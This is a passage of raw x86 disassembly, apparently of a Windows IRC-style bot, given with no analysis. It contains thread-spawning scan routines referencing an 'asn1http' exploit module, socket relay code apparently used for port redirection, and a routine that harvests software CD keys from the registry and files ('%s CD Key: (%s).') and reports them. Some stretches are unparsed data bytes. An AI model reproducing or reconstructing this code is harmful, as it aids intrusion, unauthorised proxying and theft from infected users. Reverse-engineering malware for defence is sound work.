byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_41F044 ; GetTickCount push eax call sub_4135FF mov ebx, esi pop ecx imul ebx, 234h loc_405C7A: ; CODE XREF: sub_405C33+200j mov eax, ds:dword_43489C[ebx] cmp ds:dword_42E35C[eax*8], 0 jz loc_405E38 cmp [ebp+var_10], 0 push eax jz short loc_405CA4 lea eax, [ebp+var_150] push eax call sub_405AFA pop ecx jmp short loc_405CA9 ; --------------------------------------------------------------------------- loc_405CA4: ; CODE XREF: sub_405C33+60j call sub_405AB2 loc_405CA9: ; CODE XREF: sub_405C33+6Fj pop ecx mov edi, eax push [ebp+arg_0] push ds:dword_43489C[ebx] push [ebp+var_3C] push edi call ds:dword_42F794 push eax lea eax, [ebp+var_28C] push offset unk_423A28 push eax call sub_4135AD lea eax, [ebp+var_28C] push eax lea eax, dword_434698[ebx] push eax call sub_4135AD push [ebp+var_38] push [ebp+var_3C] push edi call sub_405B96 add esp, 2Ch cmp eax, 1 jnz loc_405E28 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_405D7D push offset dword_42ECB8 call ds:dword_41F0A0 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call ds:dword_42F794 push eax lea eax, [ebp+var_28C] push offset unk_4239EC push eax call sub_4135AD add esp, 10h cmp [ebp+var_14], 0 jnz short loc_405D5F cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_405D53 lea eax, [ebp+var_140] loc_405D53: ; CODE XREF: sub_405C33+118j push eax push [ebp+var_40] call sub_4110B0 add esp, 14h loc_405D5F: ; CODE XREF: sub_405C33+FDj lea eax, [ebp+var_28C] push eax call sub_409615 mov [esp+2A8h+var_2A8], offset dword_42ECB8 call ds:dword_41F09C ; RtlLeaveCriticalSection jmp loc_405E28 ; --------------------------------------------------------------------------- loc_405D7D: ; CODE XREF: sub_405C33+CDj push edi call ds:dword_42F794 push eax lea eax, [ebp+var_208] push eax call sub_4135AD mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aAsn1http_0 ; "asn1http" push eax lea eax, [ebp+var_178] push eax call sub_4135AD add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_405DC1 lea eax, [ebp+var_140] loc_405DC1: ; CODE XREF: sub_405C33+186j push eax lea eax, [ebp+var_1F8] push eax call sub_4135AD mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call ds:off_4236A4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_405E28: ; CODE XREF: sub_405C33+C3j ; sub_405C33+145j push 7D0h call ds:dword_41F058 ; Sleep jmp loc_405C7A ; --------------------------------------------------------------------------- loc_405E38: ; CODE XREF: sub_405C33+55j push esi call sub_413375 pop ecx push 0 call near ptr 0A70000h pop eax sub_405C33 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E47 proc near ; DATA XREF: seg000:0040E52Fo ; seg000:004100C3o var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_15E = dword ptr 166h push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call ds:dword_42F748 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov ds:dword_42E358[ecx*8], eax pop ecx mov edi, esp rep movsd call near ptr sub_40571E push 8 call sub_4132A1 add esp, 150h cmp eax, ebx jnz short loc_405F15 mov esi, offset dword_42ECB8 push esi call ds:dword_41F0A8 ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_41F0A4 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_405F15 lea eax, [ebp+var_1CC] push offset unk_423B6C push eax call sub_4135AD xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_405EFF push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_4110B0 add esp, 14h loc_405EFF: ; CODE XREF: sub_405E47+99j lea eax, [ebp+var_1CC] push eax call sub_409615 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_405F15: ; CODE XREF: sub_405E47+63j ; sub_405E47+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_41F058 mov edi, ebx mov ds:dword_42E35C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_405FE2 loc_405F33: ; CODE XREF: sub_405E47+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_423B20 push eax call sub_4135AD push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_413059 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov ds:dword_43489C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_405C33 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_405FAD loc_405FA2: ; CODE XREF: sub_405E47+164j cmp [ebp+var_4], ebx jnz short loc_405FD4 push 1Eh call esi ; dword_41F058 jmp short loc_405FA2 ; --------------------------------------------------------------------------- loc_405FAD: ; CODE XREF: sub_405E47+159j call ds:dword_41F068 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_423AD0 push eax call sub_4135AD lea eax, [ebp+var_1CC] push eax call sub_409615 add esp, 10h loc_405FD4: ; CODE XREF: sub_405E47+15Ej push 1Eh call esi ; dword_41F058 inc edi cmp edi, [ebp+var_20] jbe loc_405F33 loc_405FE2: ; CODE XREF: sub_405E47+E6j cmp [ebp+var_30], ebx jz loc_40608C mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; dword_41F058 loc_405FF7: ; CODE XREF: sub_405E47+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, ds:dword_42E358[eax*8] push eax call ds:dword_42F794 push eax lea eax, [ebp+var_1CC] push offset unk_423A78 push eax call sub_4135AD add esp, 14h cmp [ebp+var_10], ebx jnz short loc_406045 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_4110B0 add esp, 14h loc_406045: ; CODE XREF: sub_405E47+1DFj lea eax, [ebp+var_1CC] push eax call sub_409615 mov eax, [ebp+var_2C] mov [esp-166h+arg_15E], 0BB8h mov ds:dword_42E35C[eax*8], ebx call esi ; dword_41F058 push 8 call sub_4132A1 cmp eax, 1 pop ecx jnz short loc_40607C push offset dword_42ECB8 call ds:dword_41F0A8 ; RtlDeleteCriticalSection loc_40607C: ; CODE XREF: sub_405E47+228j push [ebp+var_2C] call sub_413375 pop ecx push ebx call near ptr 0A70000h sahf loc_40608C: ; CODE XREF: sub_405E47+19Ej ; sub_405E47+25Dj mov eax, [ebp+var_2C] cmp ds:dword_42E35C[eax*8], 1 jnz loc_405FF7 push 7D0h call esi ; dword_41F058 jmp short loc_40608C sub_405E47 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060A6 proc near ; DATA XREF: seg000:0040E906o var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_413630 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call ds:dword_42F708 push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call ds:dword_42F788 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40620A mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov ds:dword_4348A4[eax], ebx call ds:dword_42F624 lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_42F734 test eax, eax jnz loc_40620A push 0Ah push ebx call ds:dword_42F730 test eax, eax jnz loc_40620A loc_406150: ; CODE XREF: sub_4060A6+BEj ; sub_4060A6+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call ds:dword_42F79C mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_406150 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call ds:dword_42F794 push eax lea eax, [ebp+var_34C] push offset unk_423C08 push eax call sub_4135AD push edi lea eax, [ebp+var_34C] push 10h push eax call sub_413059 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov ds:dword_43489C[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset loc_40622E push esi push esi call ds:dword_41F06C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov ds:dword_4348AC[ecx], eax jz short loc_4061F5 loc_4061E2: ; CODE XREF: sub_4060A6+14Dj cmp [ebp+var_2C], esi jnz loc_406150 push 32h call ds:dword_41F058 ; Sleep jmp short loc_4061E2 ; --------------------------------------------------------------------------- loc_4061F5: ; CODE XREF: sub_4060A6+13Aj call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_423BB8 call sub_409689 pop ecx pop ecx jmp short loc_40620D ; --------------------------------------------------------------------------- loc_40620A: ; CODE XREF: sub_4060A6+61j ; sub_4060A6+93j ... mov edi, [ebp+arg_0] loc_40620D: ; CODE XREF: sub_4060A6+162j push edi call ds:dword_42F7A0 push ebx call ds:dword_42F7A0 push [ebp+var_3C] call sub_413375 pop ecx push esi call near ptr 0A70000h movsb pop edi pop esi pop ebx sub_4060A6 endp ; sp-analysis failed loc_40622E: ; DATA XREF: sub_4060A6+11Co push ebp mov ebp, esp mov eax, 1344h call sub_413E30 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call ds:dword_42F788 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4063E4 push 10h lea eax, [ebp-18h] push edi push eax call sub_413630 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call ds:dword_42F708 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call ds:dword_42F748 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4062BE lea eax, [ebp-13Ch] push eax call ds:dword_42F78C jmp short loc_4062CC ; --------------------------------------------------------------------------- loc_4062BE: ; CODE XREF: seg000:004062ADj push 2 lea eax, [ebp-8] push 4 push eax call ds:dword_42F6C0 loc_4062CC: ; CODE XREF: seg000:004062BCj cmp eax, edi jz loc_4063E4 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call ds:dword_42F6B0 cmp eax, 0FFFFFFFFh jz loc_4063E4 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call ds:dword_42F794 push eax lea eax, [ebp-344h] push offset unk_423CB4 push eax call sub_4135AD push esi lea eax, [ebp-344h] push 10h push eax call sub_413059 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_4348A4[ebx] mov ds:dword_43489C[eax], ecx add esp, 20h mov ecx, [esi] mov ds:dword_4348A8[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_406415 push edi push edi call ds:dword_41F06C ; CreateThread mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov ds:dword_4348AC[ecx], eax jz short loc_4063D1 loc_40637E: ; CODE XREF: seg000:0040638Bj cmp [ebp-20h], edi jnz short loc_40638D push 32h call ds:dword_41F058 ; Sleep jmp short loc_40637E ; --------------------------------------------------------------------------- loc_40638D: ; CODE XREF: seg000:00406381j mov ebx, 1000h loc_406392: ; CODE XREF: seg000:004063CDj push ebx lea eax, [ebp-1344h] push edi push eax call sub_413630 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call ds:dword_42F720 cmp eax, edi jle short loc_4063E4 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call ds:dword_42F758 cmp eax, 0FFFFFFFFh jnz short loc_406392 jmp short loc_4063E4 ; --------------------------------------------------------------------------- loc_4063D1: ; CODE XREF: seg000:0040637Cj call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_423C60 call sub_409689 pop ecx pop ecx loc_4063E4: ; CODE XREF: seg000:00406272j ; seg000:004062CEj ... mov eax, [ebp-4] imul eax, 234h push ds:dword_4348A4[eax] call ds:dword_42F7A0 push dword ptr [ebp+8] call ds:dword_42F7A0 push dword ptr [ebp-4] call sub_413375 pop ecx push edi call near ptr 0A70000h push ss pop edi pop esi pop ebx loc_406415: ; DATA XREF: seg000:0040635Eo push ebp mov ebp, esp mov eax, 1128h call sub_413E30 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_40644C: ; CODE XREF: seg000:00406491j push edi lea eax, [ebp-1128h] push 0 push eax call sub_413630 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push ds:dword_4348A8[esi] call ds:dword_42F720 test eax, eax jle short loc_406493 push 0 push eax lea eax, [ebp-1128h] push eax push ds:dword_4348A4[esi] call ds:dword_42F758 cmp eax, 0FFFFFFFFh jnz short loc_40644C loc_406493: ; CODE XREF: seg000:00406476j push ds:dword_4348A8[esi] call ds:dword_42F7A0 push dword ptr [ebp-14h] call sub_413375 pop ecx push 0 ; --------------------------------------------------------------------------- dw 51E8h dd 0B700669Bh ; --------------------------------------------------------------------------- pop edi pop esi loc_4064B2: ; DATA XREF: seg000:00410C0Ao push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+8] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp-0D4h] push 2Ch mov [ebp-4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp-14h] push esi push eax call sub_413630 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-40h] call ds:dword_42F708 push 6 push edi push 2 mov [ebp-12h], ax mov [ebp-10h], esi call ds:dword_42F788 mov edi, eax mov eax, [ebp-3Ch] imul eax, 234h push ebx mov ds:dword_4348A4[eax], edi lea eax, [ebp-14h] push eax push edi call ds:dword_42F734 test eax, eax jnz loc_406654 push 0Ah push edi call ds:dword_42F730 test eax, eax jnz loc_406654 push dword ptr [ebp-40h] push dword ptr [ebp-0D4h] call sub_408619 pop ecx push eax lea eax, [ebp-2D4h] push offset dword_423DF4 push eax call sub_4135AD add esp, 10h cmp [ebp-30h], esi jnz short loc_40658D push esi lea eax, [ebp-2D4h] push dword ptr [ebp-34h] push eax lea eax, [ebp-0D0h] push eax push dword ptr [ebp-0D4h] call sub_4110B0 add esp, 14h loc_40658D: ; CODE XREF: seg000:0040656Bj ; seg000:00406624j ... lea eax, [ebp-2D4h] push eax call sub_409615 pop ecx lea eax, [ebp-4] push eax lea eax, [ebp-24h] push eax push edi call ds:dword_42F79C push dword ptr [ebp-3Ch] mov ebx, eax movzx eax, word ptr [ebp-22h] push eax mov [ebp-28h], esi push dword ptr [ebp-20h] call ds:dword_42F794 push eax lea eax, [ebp-2D4h] push offset unk_423D9C push eax call sub_4135AD push ebx lea eax, [ebp-2D4h] push 11h push eax call sub_413059 mov [ebp-38h], eax imul eax, 234h mov ecx, [ebp-3Ch] add esp, 20h mov ds:dword_43489C[eax], ecx lea eax, [ebp+8] push eax lea eax, [ebp-0D4h] push esi push eax push offset loc_4066B7 push esi push esi call ds:dword_41F06C ; CreateThread mov ecx, [ebp-38h] imul ecx, 234h cmp eax, esi mov ds:dword_4348AC[ecx], eax jz short loc_406634 loc_406621: ; CODE XREF: seg000:00406632j cmp [ebp-28h], esi jnz loc_40658D push 5 call ds:dword_41F058 ; Sleep jmp short loc_406621 ; --------------------------------------------------------------------------- loc_406634: ; CODE XREF: seg000:0040661Fj call ds:dword_41F068 ; RtlGetLastWin32Error push eax lea eax, [ebp-2D4h] push offset unk_423D50 push eax call sub_4135AD add esp, 0Ch jmp loc_40658D ; --------------------------------------------------------------------------- loc_406654: ; CODE XREF: seg000:0040652Dj ; seg000:0040653Ej push edi call ds:dword_42F7A0 push dword ptr [ebp-40h] lea eax, [ebp-2D4h] push offset unk_423D0C push eax call sub_4135AD add esp, 0Ch cmp [ebp-30h], esi jnz short loc_406697 push esi lea eax, [ebp-2D4h] push dword ptr [ebp-34h] push eax lea eax, [ebp-0D0h] push eax push dword ptr [ebp-0D4h] call sub_4110B0 add esp, 14h loc_406697: ; CODE XREF: seg000:00406675j lea eax, [ebp-2D4h] push eax call sub_409615 push dword ptr [ebp-3Ch] call sub_413375 pop ecx pop ecx push esi call near ptr 0A70000h mov ebx, [edi+5Eh] pop ebx loc_4066B7: ; DATA XREF: seg000:00406601o push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+8] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp-0C8h] rep movsd mov esi, [ebp-2Ch] push 1 mov [ebp+8], esi imul esi, 234h pop edi lea esi, dword_4348A4[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov dword ptr [ebp-8], 5 mov [ebp-5D0h], eax lea eax, [ebp-8] push eax push ebx lea eax, [ebp-5D4h] push ebx push eax push ebx mov [ebp-4], ebx mov [ebp-5D4h], edi call ds:dword_42F6F0 test eax, eax jnz short near ptr loc_406737+1 push dword ptr [esi] call ds:dword_42F7A0 push dword ptr [ebp+8] call sub_413375 pop ecx push ebx call near ptr 0A70000h loc_406737: ; CODE XREF: seg000:0040671Ej and edx, [ebx-73h] test [eax], esi sti ; --------------------------------------------------------------------------- db 2 dup(0FFh), 68h dd 408h, 0FF36FF50h, 42F72015h, 7FC08500h, 0FF36FF18h dd 42F7A015h, 875FF00h, 0CC14E8h, 0E8535900h, 669898h dd 30BD807Dh, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh dd 0E850FFFFh, 0D238h, 59C08559h, 458D6174h, 858D50BCh dd 0FFFFFB38h, 3ED46850h, 0D6E80042h, 6800002Eh, 400h dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h dd 0CE5EE85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah dd 5815FF36h, 0FF0042F7h, 0A015FF36h, 0FF0042F7h, 7EE80875h dd 590000CBh, 9802E853h, 6AF80066h, 0E8458D10h, 25E85053h dd 660000CEh, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 8815FFECh dd 8B0042F7h, 0FFFF83F8h, 15FF5D75h, 42F69Ch, 3E846850h dd 3EE80042h, 6800002Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 0CDC6E85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 5815FF36h, 0FF0042F7h, 0A015FF36h dd 0FF0042F7h, 0E6E80875h, 590000CAh, 976AE853h, 8D910066h dd 106AE845h, 15FF5750h, 42F6B0h, 75FFF883h, 9C15FF5Dh dd 500042F6h, 423E3068h, 2DCFE800h, 680000h, 8D000004h dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh dd 0CD57E8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h dd 0F75815FFh, 36FF0042h, 0F7A015FFh, 75FF0042h, 0CA77E808h dd 53590000h, 6696FBE8h, 686500h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 0CD0BE8h dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0F75815FFh dd 36FF0042h, 39E857h, 59590000h, 0A015FF57h, 0FF0042F7h dd 0A015FF36h, 0FF0042F7h, 1AE80875h, 590000CAh, 969EE853h dd 0FF5F0066h, 0A015FF36h, 0FF0042F7h, 2E80875h, 590000CAh dd 9686E853h db 66h, 0, 76h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_406991: ; CODE XREF: seg000:00406A40j ; seg000:00406A70j mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4069A9: ; CODE XREF: seg000:004069B7j mov edx, [ebp+8] cmp [eax], edx jz short loc_4069B9 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4069A9 loc_4069B9: ; CODE XREF: seg000:004069AEj cmp ecx, 1 jnz short loc_4069CE mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4069CE: ; CODE XREF: seg000:004069BCj push esi lea eax, [ebp-504h] push edi push eax call sub_413630 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call ds:dword_42F6F0 lea eax, [ebp-104h] push eax push ebx call ds:dword_42F600 test eax, eax jz short loc_406A2E push edi lea eax, [ebp-504h] push esi push eax push ebx call ds:dword_42F720 cmp eax, 0FFFFFFFFh jz short loc_406A76 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call ds:dword_42F758 cmp eax, 0FFFFFFFFh jz short loc_406A76 loc_406A2E: ; CODE XREF: seg000:00406A00j lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call ds:dword_42F600 test eax, eax jz loc_406991 push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call ds:dword_42F720 cmp eax, 0FFFFFFFFh jz short loc_406A76 push edi push eax lea eax, [ebp-504h] push eax push ebx call ds:dword_42F758 cmp eax, 0FFFFFFFFh jnz loc_406991 loc_406A76: ; CODE XREF: seg000:00406A15j ; seg000:00406A2Cj ... pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A7B proc near ; CODE XREF: seg000:0041060Fp var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp ds:off_423F2C, ebx mov [ebp+var_C], 80h jz loc_406C2D push esi push edi mov eax, offset off_423F2C mov esi, offset dword_423F38 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_406AAB: ; CODE XREF: sub_406A7B+1AAj lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call ds:dword_42F778 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call ds:dword_42F614 test eax, eax jnz loc_406C13 mov eax, [esi] cmp eax, ebx jz loc_406BD7 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4135AD lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_413CA8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_406C13 push eax loc_406B24: ; CODE XREF: sub_406A7B+D4j lea eax, [ebp+var_70] push 64h push eax call sub_4151CC add esp, 0Ch test eax, eax jz loc_406BCC push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_413B80 pop ecx test eax, eax pop ecx jz short loc_406B51 push [ebp+var_8] jmp short loc_406B24 ; --------------------------------------------------------------------------- loc_406B51: ; CODE XREF: sub_406A7B+CFj push 3Dh push dword ptr [esi+4] call sub_415110 pop ecx test eax, eax pop ecx jz short loc_406B90 lea eax, [ebp+var_70] push offset asc_425130 ; "=" push eax call sub_414D28 push offset asc_425130 ; "=" push ebx call sub_414D28 push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4135AD add esp, 20h jmp short loc_406BA7 ; --------------------------------------------------------------------------- loc_406B90: ; CODE XREF: sub_406A7B+E4j lea eax, [ebp+var_70] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4135AD add esp, 10h loc_406BA7: ; CODE XREF: sub_406A7B+113j push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 lea eax, [ebp+var_2F0] push eax call sub_409615 add esp, 18h loc_406BCC: ; CODE XREF: sub_406A7B+B9j push [ebp+var_8] call sub_413C00 pop ecx jmp short loc_406C13 ; --------------------------------------------------------------------------- loc_406BD7: ; CODE XREF: sub_406A7B+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4135AD push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 lea eax, [ebp+var_2F0] push eax call sub_409615 add esp, 28h loc_406C13: ; CODE XREF: sub_406A7B+60j ; sub_406A7B+A2j ... push [ebp+var_4] call ds:dword_42F6E4 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_406AAB pop edi pop esi loc_406C2D: ; CODE XREF: sub_406A7B+19j pop ebx leave retn sub_406A7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C30 proc near ; DATA XREF: seg000:0040EF7Co var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_413DB0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_406C85 lea eax, [ebp+var_114] push eax call sub_413DB0 pop ecx mov [ebp+eax+var_115], bl loc_406C85: ; CODE XREF: sub_406C30+3Fj lea eax, [ebp+var_218] push eax push offset unk_425188 lea eax, [ebp+var_49C] push 200h push eax call sub_413B2A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_406CCA push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_4110B0 add esp, 14h loc_406CCA: ; CODE XREF: sub_406C30+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call near ptr loc_406D44+4 push eax lea eax, [ebp+var_49C] push offset unk_425154 push eax 